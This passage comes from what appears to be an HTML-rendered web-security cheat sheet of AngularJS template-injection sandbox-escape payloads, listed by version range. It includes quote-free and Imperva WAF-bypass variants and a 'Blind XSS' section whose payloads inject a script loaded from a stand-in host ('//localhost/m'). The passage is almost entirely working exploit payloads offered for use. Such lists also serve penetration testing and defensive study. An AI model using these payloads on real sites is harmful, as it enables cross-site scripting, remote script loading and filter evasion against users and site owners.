<div class="highlight"><pre><span></span><code><a id="__codelineno-6-1" name="__codelineno-6-1" href="#__codelineno-6-1"></a><span class="p">{{</span><span class="s1">'a'</span><span class="p">.</span><span class="kr">constructor</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">charAt</span><span class="o">=</span><span class="p">[].</span><span class="nx">join</span><span class="p">;</span><span class="nx">$eval</span><span class="p">(</span><span class="s1">'x=alert(1)'</span><span class="p">);}}</span>
|
|
</code></pre></div>
|
|
<p>AngularJS 1.3.19</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-7-1" name="__codelineno-7-1" href="#__codelineno-7-1"></a><span class="p">{{</span>
|
|
<a id="__codelineno-7-2" name="__codelineno-7-2" href="#__codelineno-7-2"></a><span class="w"> </span><span class="s1">'a'</span><span class="p">[{</span><span class="nx">toString</span><span class="o">:</span><span class="kc">false</span><span class="p">,</span><span class="nx">valueOf</span><span class="o">:</span><span class="p">[].</span><span class="nx">join</span><span class="p">,</span><span class="nx">length</span><span class="o">:</span><span class="mf">1</span><span class="p">,</span><span class="mf">0</span><span class="o">:</span><span class="s1">'__proto__'</span><span class="p">}].</span><span class="nx">charAt</span><span class="o">=</span><span class="p">[].</span><span class="nx">join</span><span class="p">;</span>
|
|
<a id="__codelineno-7-3" name="__codelineno-7-3" href="#__codelineno-7-3"></a><span class="w"> </span><span class="nx">$eval</span><span class="p">(</span><span class="s1">'x=alert(1)//'</span><span class="p">);</span>
|
|
<a id="__codelineno-7-4" name="__codelineno-7-4" href="#__codelineno-7-4"></a><span class="p">}}</span>
|
|
</code></pre></div>
|
|
<p>AngularJS 1.3.3 - 1.3.18</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-8-1" name="__codelineno-8-1" href="#__codelineno-8-1"></a><span class="p">{{{}[{</span><span class="nx">toString</span><span class="o">:</span><span class="p">[].</span><span class="nx">join</span><span class="p">,</span><span class="nx">length</span><span class="o">:</span><span class="mf">1</span><span class="p">,</span><span class="mf">0</span><span class="o">:</span><span class="s1">'__proto__'</span><span class="p">}].</span><span class="nx">assign</span><span class="o">=</span><span class="p">[].</span><span class="nx">join</span><span class="p">;</span>
|
|
<a id="__codelineno-8-2" name="__codelineno-8-2" href="#__codelineno-8-2"></a><span class="w"> </span><span class="s1">'a'</span><span class="p">.</span><span class="kr">constructor</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">charAt</span><span class="o">=</span><span class="p">[].</span><span class="nx">join</span><span class="p">;</span>
|
|
<a id="__codelineno-8-3" name="__codelineno-8-3" href="#__codelineno-8-3"></a><span class="w"> </span><span class="nx">$eval</span><span class="p">(</span><span class="s1">'x=alert(1)//'</span><span class="p">);</span><span class="w"> </span><span class="p">}}</span>
|
|
</code></pre></div>
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<p>AngularJS 1.3.1 - 1.3.2</p>
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<div class="highlight"><pre><span></span><code><a id="__codelineno-9-1" name="__codelineno-9-1" href="#__codelineno-9-1"></a><span class="p">{{</span>
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<a id="__codelineno-9-2" name="__codelineno-9-2" href="#__codelineno-9-2"></a><span class="w"> </span><span class="p">{}[{</span><span class="nx">toString</span><span class="o">:</span><span class="p">[].</span><span class="nx">join</span><span class="p">,</span><span class="nx">length</span><span class="o">:</span><span class="mf">1</span><span class="p">,</span><span class="mf">0</span><span class="o">:</span><span class="s1">'__proto__'</span><span class="p">}].</span><span class="nx">assign</span><span class="o">=</span><span class="p">[].</span><span class="nx">join</span><span class="p">;</span>
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<a id="__codelineno-9-3" name="__codelineno-9-3" href="#__codelineno-9-3"></a><span class="w"> </span><span class="s1">'a'</span><span class="p">.</span><span class="kr">constructor</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">charAt</span><span class="o">=</span><span class="s1">''</span><span class="p">.</span><span class="nx">valueOf</span><span class="p">;</span>
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<a id="__codelineno-9-4" name="__codelineno-9-4" href="#__codelineno-9-4"></a><span class="w"> </span><span class="nx">$eval</span><span class="p">(</span><span class="s1">'x=alert(1)//'</span><span class="p">);</span>
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<a id="__codelineno-9-5" name="__codelineno-9-5" href="#__codelineno-9-5"></a><span class="p">}}</span>
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</code></pre></div>
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<p>AngularJS 1.3.0</p>
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<div class="highlight"><pre><span></span><code><a id="__codelineno-10-1" name="__codelineno-10-1" href="#__codelineno-10-1"></a><span class="p">{{</span><span class="o">!</span><span class="nx">ready</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="p">(</span><span class="nx">ready</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">true</span><span class="p">)</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="p">(</span>
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<a id="__codelineno-10-2" name="__codelineno-10-2" href="#__codelineno-10-2"></a><span class="w"> </span><span class="o">!</span><span class="nx">call</span>
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<a id="__codelineno-10-3" name="__codelineno-10-3" href="#__codelineno-10-3"></a><span class="w"> </span><span class="o">?</span><span class="w"> </span><span class="nx">$$watchers</span><span class="p">[</span><span class="mf">0</span><span class="p">].</span><span class="nx">get</span><span class="p">(</span><span class="nx">toString</span><span class="p">.</span><span class="kr">constructor</span><span class="p">.</span><span class="nx">prototype</span><span class="p">)</span>
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<a id="__codelineno-10-4" name="__codelineno-10-4" href="#__codelineno-10-4"></a><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="p">(</span><span class="nx">a</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">apply</span><span class="p">)</span><span class="w"> </span><span class="o">&&</span>
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<a id="__codelineno-10-5" name="__codelineno-10-5" href="#__codelineno-10-5"></a><span class="w"> </span><span class="p">(</span><span class="nx">apply</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kr">constructor</span><span class="p">)</span><span class="w"> </span><span class="o">&&</span>
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<a id="__codelineno-10-6" name="__codelineno-10-6" href="#__codelineno-10-6"></a><span class="w"> </span><span class="p">(</span><span class="nx">valueOf</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">call</span><span class="p">)</span><span class="w"> </span><span class="o">&&</span>
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<a id="__codelineno-10-7" name="__codelineno-10-7" href="#__codelineno-10-7"></a><span class="w"> </span><span class="p">(</span><span class="s1">''</span><span class="o">+</span><span class="s1">''</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span>
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<a id="__codelineno-10-8" name="__codelineno-10-8" href="#__codelineno-10-8"></a><span class="w"> </span><span class="s1">'F = Function.prototype;'</span><span class="w"> </span><span class="o">+</span>
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<a id="__codelineno-10-9" name="__codelineno-10-9" href="#__codelineno-10-9"></a><span class="w"> </span><span class="s1">'F.apply = F.a;'</span><span class="w"> </span><span class="o">+</span>
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<a id="__codelineno-10-10" name="__codelineno-10-10" href="#__codelineno-10-10"></a><span class="w"> </span><span class="s1">'delete F.a;'</span><span class="w"> </span><span class="o">+</span>
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<a id="__codelineno-10-11" name="__codelineno-10-11" href="#__codelineno-10-11"></a><span class="w"> </span><span class="s1">'delete F.valueOf;'</span><span class="w"> </span><span class="o">+</span>
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<a id="__codelineno-10-12" name="__codelineno-10-12" href="#__codelineno-10-12"></a><span class="w"> </span><span class="s1">'alert(1);'</span>
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<a id="__codelineno-10-13" name="__codelineno-10-13" href="#__codelineno-10-13"></a><span class="w"> </span><span class="p">))</span>
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<a id="__codelineno-10-14" name="__codelineno-10-14" href="#__codelineno-10-14"></a><span class="w"> </span><span class="p">);}}</span>
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</code></pre></div>
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<p>AngularJS 1.2.24 - 1.2.29</p>
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<div class="highlight"><pre><span></span><code><a id="__codelineno-11-1" name="__codelineno-11-1" href="#__codelineno-11-1"></a><span class="p">{{</span><span class="s1">'a'</span><span class="p">.</span><span class="kr">constructor</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">charAt</span><span class="o">=</span><span class="s1">''</span><span class="p">.</span><span class="nx">valueOf</span><span class="p">;</span><span class="nx">$eval</span><span class="p">(</span><span class="s2">"x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'"</span><span class="p">);}}</span>
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|
</code></pre></div>
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<p>AngularJS 1.2.19 - 1.2.23</p>
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<div class="highlight"><pre><span></span><code><a id="__codelineno-12-1" name="__codelineno-12-1" href="#__codelineno-12-1"></a><span class="p">{{</span><span class="nx">toString</span><span class="p">.</span><span class="kr">constructor</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">toString</span><span class="o">=</span><span class="nx">toString</span><span class="p">.</span><span class="kr">constructor</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">call</span><span class="p">;[</span><span class="s2">"a"</span><span class="p">,</span><span class="s2">"alert(1)"</span><span class="p">].</span><span class="nx">sort</span><span class="p">(</span><span class="nx">toString</span><span class="p">.</span><span class="kr">constructor</span><span class="p">);}}</span>
|
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</code></pre></div>
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<p>AngularJS 1.2.6 - 1.2.18</p>
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<div class="highlight"><pre><span></span><code><a id="__codelineno-13-1" name="__codelineno-13-1" href="#__codelineno-13-1"></a><span class="p">{{(</span><span class="nx">_</span><span class="o">=</span><span class="s1">''</span><span class="p">.</span><span class="nx">sub</span><span class="p">).</span><span class="nx">call</span><span class="p">.</span><span class="nx">call</span><span class="p">({}[</span><span class="nx">$</span><span class="o">=</span><span class="s1">'constructor'</span><span class="p">].</span><span class="nx">getOwnPropertyDescriptor</span><span class="p">(</span><span class="nx">_</span><span class="p">.</span><span class="nx">__proto__</span><span class="p">,</span><span class="nx">$</span><span class="p">).</span><span class="nx">value</span><span class="p">,</span><span class="mf">0</span><span class="p">,</span><span class="s1">'alert(1)'</span><span class="p">)()}}</span>
|
|
</code></pre></div>
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<p>AngularJS 1.2.2 - 1.2.5</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-14-1" name="__codelineno-14-1" href="#__codelineno-14-1"></a><span class="p">{{</span><span class="s1">'a'</span><span class="p">[{</span><span class="nx">toString</span><span class="o">:</span><span class="p">[].</span><span class="nx">join</span><span class="p">,</span><span class="nx">length</span><span class="o">:</span><span class="mf">1</span><span class="p">,</span><span class="mf">0</span><span class="o">:</span><span class="s1">'__proto__'</span><span class="p">}].</span><span class="nx">charAt</span><span class="o">=</span><span class="s1">''</span><span class="p">.</span><span class="nx">valueOf</span><span class="p">;</span><span class="nx">$eval</span><span class="p">(</span><span class="s2">"x='"</span><span class="o">+</span><span class="p">(</span><span class="nx">y</span><span class="o">=</span><span class="s1">'if(!window\\u002ex)alert(window\\u002ex=1)'</span><span class="p">)</span><span class="o">+</span><span class="nb">eval</span><span class="p">(</span><span class="nx">y</span><span class="p">)</span><span class="o">+</span><span class="s2">"'"</span><span class="p">);}}</span>
|
|
</code></pre></div>
|
|
<p>AngularJS 1.2.0 - 1.2.1</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-15-1" name="__codelineno-15-1" href="#__codelineno-15-1"></a><span class="p">{{</span><span class="nx">a</span><span class="o">=</span><span class="s1">'constructor'</span><span class="p">;</span><span class="nx">b</span><span class="o">=</span><span class="p">{};</span><span class="nx">a</span><span class="p">.</span><span class="nx">sub</span><span class="p">.</span><span class="nx">call</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="nx">b</span><span class="p">[</span><span class="nx">a</span><span class="p">].</span><span class="nx">getOwnPropertyDescriptor</span><span class="p">(</span><span class="nx">b</span><span class="p">[</span><span class="nx">a</span><span class="p">].</span><span class="nx">getPrototypeOf</span><span class="p">(</span><span class="nx">a</span><span class="p">.</span><span class="nx">sub</span><span class="p">),</span><span class="nx">a</span><span class="p">).</span><span class="nx">value</span><span class="p">,</span><span class="mf">0</span><span class="p">,</span><span class="s1">'alert(1)'</span><span class="p">)()}}</span>
|
|
</code></pre></div>
|
|
<p>AngularJS 1.0.1 - 1.1.5 and Vue JS</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-16-1" name="__codelineno-16-1" href="#__codelineno-16-1"></a><span class="p">{{</span><span class="kr">constructor</span><span class="p">.</span><span class="kr">constructor</span><span class="p">(</span><span class="s1">'alert(1)'</span><span class="p">)()}}</span>
|
|
</code></pre></div>
|
|
<h3 id="advanced-bypassing-xss">Advanced Bypassing XSS</h3>
|
|
<p>AngularJS (without <code>'</code> single and <code>"</code> double quotes) by <a href="https://twitter.com/VirenPawar_">@Viren</a></p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-17-1" name="__codelineno-17-1" href="#__codelineno-17-1"></a><span class="p">{{</span><span class="nx">x</span><span class="o">=</span><span class="nx">valueOf</span><span class="p">.</span><span class="nx">name</span><span class="p">.</span><span class="kr">constructor</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">;</span><span class="kr">constructor</span><span class="p">.</span><span class="kr">constructor</span><span class="p">(</span><span class="nx">x</span><span class="p">(</span><span class="mf">97</span><span class="p">,</span><span class="mf">108</span><span class="p">,</span><span class="mf">101</span><span class="p">,</span><span class="mf">114</span><span class="p">,</span><span class="mf">116</span><span class="p">,</span><span class="mf">40</span><span class="p">,</span><span class="mf">49</span><span class="p">,</span><span class="mf">41</span><span class="p">))()}}</span>
|
|
</code></pre></div>
|
|
<p>AngularJS (without <code>'</code> single and <code>"</code> double quotes and <code>constructor</code> string)</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-18-1" name="__codelineno-18-1" href="#__codelineno-18-1"></a><span class="p">{{</span><span class="nx">x</span><span class="o">=</span><span class="mf">767015343</span><span class="p">;</span><span class="nx">y</span><span class="o">=</span><span class="mf">50986827</span><span class="p">;</span><span class="nx">a</span><span class="o">=</span><span class="nx">x</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mf">36</span><span class="p">)</span><span class="o">+</span><span class="nx">y</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mf">36</span><span class="p">);</span><span class="nx">b</span><span class="o">=</span><span class="p">{};</span><span class="nx">a</span><span class="p">.</span><span class="nx">sub</span><span class="p">.</span><span class="nx">call</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="nx">b</span><span class="p">[</span><span class="nx">a</span><span class="p">].</span><span class="nx">getOwnPropertyDescriptor</span><span class="p">(</span><span class="nx">b</span><span class="p">[</span><span class="nx">a</span><span class="p">].</span><span class="nx">getPrototypeOf</span><span class="p">(</span><span class="nx">a</span><span class="p">.</span><span class="nx">sub</span><span class="p">),</span><span class="nx">a</span><span class="p">).</span><span class="nx">value</span><span class="p">,</span><span class="mf">0</span><span class="p">,</span><span class="nx">toString</span><span class="p">()[</span><span class="nx">a</span><span class="p">].</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="mf">112</span><span class="p">,</span><span class="mf">114</span><span class="p">,</span><span class="mf">111</span><span class="p">,</span><span class="mf">109</span><span class="p">,</span><span class="mf">112</span><span class="p">,</span><span class="mf">116</span><span class="p">,</span><span class="mf">40</span><span class="p">,</span><span class="mf">100</span><span class="p">,</span><span class="mf">111</span><span class="p">,</span><span class="mf">99</span><span class="p">,</span><span class="mf">117</span><span class="p">,</span><span class="mf">109</span><span class="p">,</span><span class="mf">101</span><span class="p">,</span><span class="mf">110</span><span class="p">,</span><span class="mf">116</span><span class="p">,</span><span class="mf">46</span><span class="p">,</span><span class="mf">100</span><span class="p">,</span><span class="mf">111</span><span class="p">,</span><span class="mf">109</span><span class="p">,</span><span class="mf">97</span><span class="p">,</span><span class="mf">105</span><span class="p">,</span><span class="mf">110</span><span class="p">,</span><span class="mf">41</span><span class="p">))()}}</span>
|
|
</code></pre></div>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-19-1" name="__codelineno-19-1" href="#__codelineno-19-1"></a><span class="p">{{</span><span class="nx">x</span><span class="o">=</span><span class="mf">767015343</span><span class="p">;</span><span class="nx">y</span><span class="o">=</span><span class="mf">50986827</span><span class="p">;</span><span class="nx">a</span><span class="o">=</span><span class="nx">x</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mf">36</span><span class="p">)</span><span class="o">+</span><span class="nx">y</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mf">36</span><span class="p">);</span><span class="nx">b</span><span class="o">=</span><span class="p">{};</span><span class="nx">a</span><span class="p">.</span><span class="nx">sub</span><span class="p">.</span><span class="nx">call</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="nx">b</span><span class="p">[</span><span class="nx">a</span><span class="p">].</span><span class="nx">getOwnPropertyDescriptor</span><span class="p">(</span><span class="nx">b</span><span class="p">[</span><span class="nx">a</span><span class="p">].</span><span class="nx">getPrototypeOf</span><span class="p">(</span><span class="nx">a</span><span class="p">.</span><span class="nx">sub</span><span class="p">),</span><span class="nx">a</span><span class="p">).</span><span class="nx">value</span><span class="p">,</span><span class="mf">0</span><span class="p">,</span><span class="nx">toString</span><span class="p">()[</span><span class="nx">a</span><span class="p">].</span><span class="nx">fromCodePoint</span><span class="p">(</span><span class="mf">112</span><span class="p">,</span><span class="mf">114</span><span class="p">,</span><span class="mf">111</span><span class="p">,</span><span class="mf">109</span><span class="p">,</span><span class="mf">112</span><span class="p">,</span><span class="mf">116</span><span class="p">,</span><span class="mf">40</span><span class="p">,</span><span class="mf">100</span><span class="p">,</span><span class="mf">111</span><span class="p">,</span><span class="mf">99</span><span class="p">,</span><span class="mf">117</span><span class="p">,</span><span class="mf">109</span><span class="p">,</span><span class="mf">101</span><span class="p">,</span><span class="mf">110</span><span class="p">,</span><span class="mf">116</span><span class="p">,</span><span class="mf">46</span><span class="p">,</span><span class="mf">100</span><span class="p">,</span><span class="mf">111</span><span class="p">,</span><span class="mf">109</span><span class="p">,</span><span class="mf">97</span><span class="p">,</span><span class="mf">105</span><span class="p">,</span><span class="mf">110</span><span class="p">,</span><span class="mf">41</span><span class="p">))()}}</span>
|
|
</code></pre></div>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-20-1" name="__codelineno-20-1" href="#__codelineno-20-1"></a><span class="p">{{</span><span class="nx">x</span><span class="o">=</span><span class="mf">767015343</span><span class="p">;</span><span class="nx">y</span><span class="o">=</span><span class="mf">50986827</span><span class="p">;</span><span class="nx">a</span><span class="o">=</span><span class="nx">x</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mf">36</span><span class="p">)</span><span class="o">+</span><span class="nx">y</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mf">36</span><span class="p">);</span><span class="nx">a</span><span class="p">.</span><span class="nx">sub</span><span class="p">.</span><span class="nx">call</span><span class="p">.</span><span class="nx">call</span><span class="p">({}[</span><span class="nx">a</span><span class="p">].</span><span class="nx">getOwnPropertyDescriptor</span><span class="p">(</span><span class="nx">a</span><span class="p">.</span><span class="nx">sub</span><span class="p">.</span><span class="nx">__proto__</span><span class="p">,</span><span class="nx">a</span><span class="p">).</span><span class="nx">value</span><span class="p">,</span><span class="mf">0</span><span class="p">,</span><span class="nx">toString</span><span class="p">()[</span><span class="nx">a</span><span class="p">].</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="mf">112</span><span class="p">,</span><span class="mf">114</span><span class="p">,</span><span class="mf">111</span><span class="p">,</span><span class="mf">109</span><span class="p">,</span><span class="mf">112</span><span class="p">,</span><span class="mf">116</span><span class="p">,</span><span class="mf">40</span><span class="p">,</span><span class="mf">100</span><span class="p">,</span><span class="mf">111</span><span class="p">,</span><span class="mf">99</span><span class="p">,</span><span class="mf">117</span><span class="p">,</span><span class="mf">109</span><span class="p">,</span><span class="mf">101</span><span class="p">,</span><span class="mf">110</span><span class="p">,</span><span class="mf">116</span><span class="p">,</span><span class="mf">46</span><span class="p">,</span><span class="mf">100</span><span class="p">,</span><span class="mf">111</span><span class="p">,</span><span class="mf">109</span><span class="p">,</span><span class="mf">97</span><span class="p">,</span><span class="mf">105</span><span class="p">,</span><span class="mf">110</span><span class="p">,</span><span class="mf">41</span><span class="p">))()}}</span>
|
|
</code></pre></div>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-21-1" name="__codelineno-21-1" href="#__codelineno-21-1"></a><span class="p">{{</span><span class="nx">x</span><span class="o">=</span><span class="mf">767015343</span><span class="p">;</span><span class="nx">y</span><span class="o">=</span><span class="mf">50986827</span><span class="p">;</span><span class="nx">a</span><span class="o">=</span><span class="nx">x</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mf">36</span><span class="p">)</span><span class="o">+</span><span class="nx">y</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mf">36</span><span class="p">);</span><span class="nx">a</span><span class="p">.</span><span class="nx">sub</span><span class="p">.</span><span class="nx">call</span><span class="p">.</span><span class="nx">call</span><span class="p">({}[</span><span class="nx">a</span><span class="p">].</span><span class="nx">getOwnPropertyDescriptor</span><span class="p">(</span><span class="nx">a</span><span class="p">.</span><span class="nx">sub</span><span class="p">.</span><span class="nx">__proto__</span><span class="p">,</span><span class="nx">a</span><span class="p">).</span><span class="nx">value</span><span class="p">,</span><span class="mf">0</span><span class="p">,</span><span class="nx">toString</span><span class="p">()[</span><span class="nx">a</span><span class="p">].</span><span class="nx">fromCodePoint</span><span class="p">(</span><span class="mf">112</span><span class="p">,</span><span class="mf">114</span><span class="p">,</span><span class="mf">111</span><span class="p">,</span><span class="mf">109</span><span class="p">,</span><span class="mf">112</span><span class="p">,</span><span class="mf">116</span><span class="p">,</span><span class="mf">40</span><span class="p">,</span><span class="mf">100</span><span class="p">,</span><span class="mf">111</span><span class="p">,</span><span class="mf">99</span><span class="p">,</span><span class="mf">117</span><span class="p">,</span><span class="mf">109</span><span class="p">,</span><span class="mf">101</span><span class="p">,</span><span class="mf">110</span><span class="p">,</span><span class="mf">116</span><span class="p">,</span><span class="mf">46</span><span class="p">,</span><span class="mf">100</span><span class="p">,</span><span class="mf">111</span><span class="p">,</span><span class="mf">109</span><span class="p">,</span><span class="mf">97</span><span class="p">,</span><span class="mf">105</span><span class="p">,</span><span class="mf">110</span><span class="p">,</span><span class="mf">41</span><span class="p">))()}}</span>
|
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</code></pre></div>
|
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<p>AngularJS bypass Waf [Imperva]</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-22-1" name="__codelineno-22-1" href="#__codelineno-22-1"></a><span class="p">{{</span><span class="nx">x</span><span class="o">=</span><span class="p">[</span><span class="s1">'constr'</span><span class="p">,</span><span class="w"> </span><span class="s1">'uctor'</span><span class="p">];</span><span class="nx">a</span><span class="o">=</span><span class="nx">x</span><span class="p">.</span><span class="nx">join</span><span class="p">(</span><span class="s1">''</span><span class="p">);</span><span class="nx">b</span><span class="o">=</span><span class="p">{};</span><span class="nx">a</span><span class="p">.</span><span class="nx">sub</span><span class="p">.</span><span class="nx">call</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="nx">b</span><span class="p">[</span><span class="nx">a</span><span class="p">].</span><span class="nx">getOwnPropertyDescriptor</span><span class="p">(</span><span class="nx">b</span><span class="p">[</span><span class="nx">a</span><span class="p">].</span><span class="nx">getPrototypeOf</span><span class="p">(</span><span class="nx">a</span><span class="p">.</span><span class="nx">sub</span><span class="p">),</span><span class="nx">a</span><span class="p">).</span><span class="nx">value</span><span class="p">,</span><span class="mf">0</span><span class="p">,</span><span class="s1">'pr\\u{6f}mpt(d\\u{6f}cument.d\\u{6f}main)'</span><span class="p">)()}}</span>
|
|
</code></pre></div>
|
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<h3 id="blind-xss">Blind XSS</h3>
|
|
<p>1.0.1 - 1.1.5 && > 1.6.0 by Mario Heiderich (Cure53)</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-23-1" name="__codelineno-23-1" href="#__codelineno-23-1"></a><span class="p">{{</span>
|
|
<a id="__codelineno-23-2" name="__codelineno-23-2" href="#__codelineno-23-2"></a><span class="w"> </span><span class="kr">constructor</span><span class="p">.</span><span class="kr">constructor</span><span class="p">(</span><span class="s2">"var _ = document.createElement('script');</span>
|
|
<a id="__codelineno-23-3" name="__codelineno-23-3" href="#__codelineno-23-3"></a><span class="s2"> _.src='//localhost/m';</span>
|
|
<a id="__codelineno-23-4" name="__codelineno-23-4" href="#__codelineno-23-4"></a><span class="s2"> document.getElementsByTagName('body')[0].appendChild(_)"</span><span class="p">)()</span>
|
|
<a id="__codelineno-23-5" name="__codelineno-23-5" href="#__codelineno-23-5"></a><span class="p">}}</span>
|
|
</code></pre></div>
|
|
<p>Shorter 1.0.1 - 1.1.5 && > 1.6.0 by Lewis Ardern (Synopsys) and Gareth Heyes (PortSwigger)</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-24-1" name="__codelineno-24-1" href="#__codelineno-24-1"></a><span class="p">{{</span>
|
|
<a id="__codelineno-24-2" name="__codelineno-24-2" href="#__codelineno-24-2"></a><span class="w"> </span><span class="nx">$on</span><span class="p">.</span><span class="kr">constructor</span><span class="p">(</span><span class="s2">"var _ = document.createElement('script');</span>
|
|
<a id="__codelineno-24-3" name="__codelineno-24-3" href="#__codelineno-24-3"></a><span class="s2"> _.src='//localhost/m';</span>
|
|
<a id="__codelineno-24-4" name="__codelineno-24-4" href="#__codelineno-24-4"></a><span class="s2"> document.getElementsByTagName('body')[0].appendChild(_)"</span><span class="p">)()</span>
|
|
<a id="__codelineno-24-5" name="__codelineno-24-5" href="#__codelineno-24-5"></a><span class="p">}}</span>
|
|
</code></pre></div>
|
|
<p>1.2.0 - 1.2.5 by Gareth Heyes (PortSwigger)</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-25-1" name="__codelineno-25-1" href="#__codelineno-25-1"></a><span class="p">{{</span>
|
|
<a id="__codelineno-25-2" name="__codelineno-25-2" href="#__codelineno-25-2"></a><span class="w"> </span><span class="nx">a</span><span class="o">=</span><span class="s2">"a"</span><span class="p">[</span><span class="s2">"constructor"</span><span class="p">].</span><span class="nx">prototype</span><span class="p">;</span><span class="nx">a</span><span class="p">.</span><span class="nx">charAt</span><span class="o">=</span><span class="nx">a</span><span class="p">.</span><span class="nx">trim</span><span class="p">;</span>
|
|
<a id="__codelineno-25-3" name="__codelineno-25-3" href="#__codelineno-25-3"></a><span class="w"> </span><span class="nx">$eval</span><span class="p">(</span><span class="s1">'a",eval(`var _=document\\x2ecreateElement(\'script\');</span>
|
|
<a id="__codelineno-25-4" name="__codelineno-25-4" href="#__codelineno-25-4"></a><span class="s1"> _\\x2esrc=\'//localhost/m\';</span>
|
|
<a id="__codelineno-25-5" name="__codelineno-25-5" href="#__codelineno-25-5"></a><span class="s1"> document\\x2ebody\\x2eappendChild(_);`),"'</span><span class="p">)</span>
|
|
<a id="__codelineno-25-6" name="__codelineno-25-6" href="#__codelineno-25-6"></a><span class="p">}}</span>
|
|
</code></pre></div>
|
|
<p>1.2.6 - 1.2.18 by Jan Horn (Cure53, now works at Google Project Zero)</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-26-1" name="__codelineno-26-1" href="#__codelineno-26-1"></a><span class="p">{{</span>
|
|
<a id="__codelineno-26-2" name="__codelineno-26-2" href="#__codelineno-26-2"></a><span class="w"> </span><span class="p">(</span><span class="nx">_</span><span class="o">=</span><span class="s1">''</span><span class="p">.</span><span class="nx">sub</span><span class="p">).</span><span class="nx">call</span><span class="p">.</span><span class="nx">call</span><span class="p">({}[</span><span class="nx">$</span><span class="o">=</span><span class="s1">'constructor'</span><span class="p">].</span><span class="nx">getOwnPropertyDescriptor</span><span class="p">(</span><span class="nx">_</span><span class="p">.</span><span class="nx">__proto__</span><span class="p">,</span><span class="nx">$</span><span class="p">).</span><span class="nx">value</span><span class="p">,</span><span class="mf">0</span><span class="p">,</span><span class="s1">'eval("</span>
|
|
<a id="__codelineno-26-3" name="__codelineno-26-3" href="#__codelineno-26-3"></a><span class="s1"> var _ = document.createElement(\'script\');</span>
|
|
<a id="__codelineno-26-4" name="__codelineno-26-4" href="#__codelineno-26-4"></a><span class="s1"> _.src=\'//localhost/m\';</span>
|
|
<a id="__codelineno-26-5" name="__codelineno-26-5" href="#__codelineno-26-5"></a><span class="s1"> document.getElementsByTagName(\'body\')[0].appendChild(_)")'</span><span class="p">)()</span>
|
|
<a id="__codelineno-26-6" name="__codelineno-26-6" href="#__codelineno-26-6"></a><span class="p">}}</span>
|
|
</code></pre></div>
|
|
<p>1.2.19 (FireFox) by Mathias Karlsson</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-27-1" name="__codelineno-27-1" href="#__codelineno-27-1"></a><span class="p">{{</span>
|
|
<a id="__codelineno-27-2" name="__codelineno-27-2" href="#__codelineno-27-2"></a><span class="w"> </span><span class="nx">toString</span><span class="p">.</span><span class="kr">constructor</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">toString</span><span class="o">=</span><span class="nx">toString</span><span class="p">.</span><span class="kr">constructor</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">call</span><span class="p">;</span>
|
|
<a id="__codelineno-27-3" name="__codelineno-27-3" href="#__codelineno-27-3"></a><span class="w"> </span><span class="p">[</span><span class="s2">"a"</span><span class="p">,</span><span class="s1">'eval("var _ = document.createElement(\'script\');</span>
|
|
<a id="__codelineno-27-4" name="__codelineno-27-4" href="#__codelineno-27-4"></a><span class="s1"> _.src=\'//localhost/m\';</span>
|
|
<a id="__codelineno-27-5" name="__codelineno-27-5" href="#__codelineno-27-5"></a><span class="s1"> document.getElementsByTagName(\'body\')[0].appendChild(_)")'</span><span class="p">].</span><span class="nx">sort</span><span class="p">(</span><span class="nx">toString</span><span class="p">.</span><span class="kr">constructor</span><span class="p">);</span>
|
|
<a id="__codelineno-27-6" name="__codelineno-27-6" href="#__codelineno-27-6"></a><span class="p">}}</span>
|
|
</code></pre></div>
|
|
<p>1.2.20 - 1.2.29 by Gareth Heyes (PortSwigger)</p>
|
|
